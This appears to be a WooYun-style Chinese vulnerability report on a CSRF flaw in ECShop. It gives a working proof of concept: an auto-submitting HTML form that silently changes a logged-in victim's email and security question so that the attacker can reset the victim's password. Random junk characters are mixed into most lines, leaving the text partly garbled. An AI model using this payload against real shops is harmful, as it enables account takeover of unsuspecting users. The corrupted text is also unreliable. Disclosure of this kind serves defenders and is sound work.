ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
ecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现

Demo For:http://www.wooyun.org/bug.php?action=view&id=395

详细说明：
  u) `  s6 Q3 p: e$ j利用csrf和xss可以突破官方所说的“障碍”
! {; j" G! Y  a" v9 ^xss版本已经有人说明
: H9 X2 |- w7 T* A这里给出csrf版本
2 [5 @$ @; S9 {+ ^" S9 ^
; y1 r9 v  v4 v0 d* U漏洞证明：
<html>
( V7 d8 V! T; O: R4 R9 i, E<body>
8 o7 F% L- n) c/ P0 Z9 [<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
) p& E- x0 }8 R; I0 `% ?, {+ v<INPUT TYPE="text" NAME="act" value="act_edit_profile">
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
2 m1 S/ s! W& B, H1 c" a<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
4 ?) q9 J& J6 R3 o% T</body>
; N, e# ]. p0 J# N/ Y- L<script>
/ v1 @. ]$ _7 [9 Adocument.forms[0].submit();
2 h" t; O6 y. p( n0 O) j3 d6 I</script>
+ p7 {8 E4 w7 m+ r3 K</html>
) W. |* F: A* @6 ~6 e8 N构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
  Z$ U. v9 G8 N$ d5 e
; q- K' ]" }' V% I  [( H) n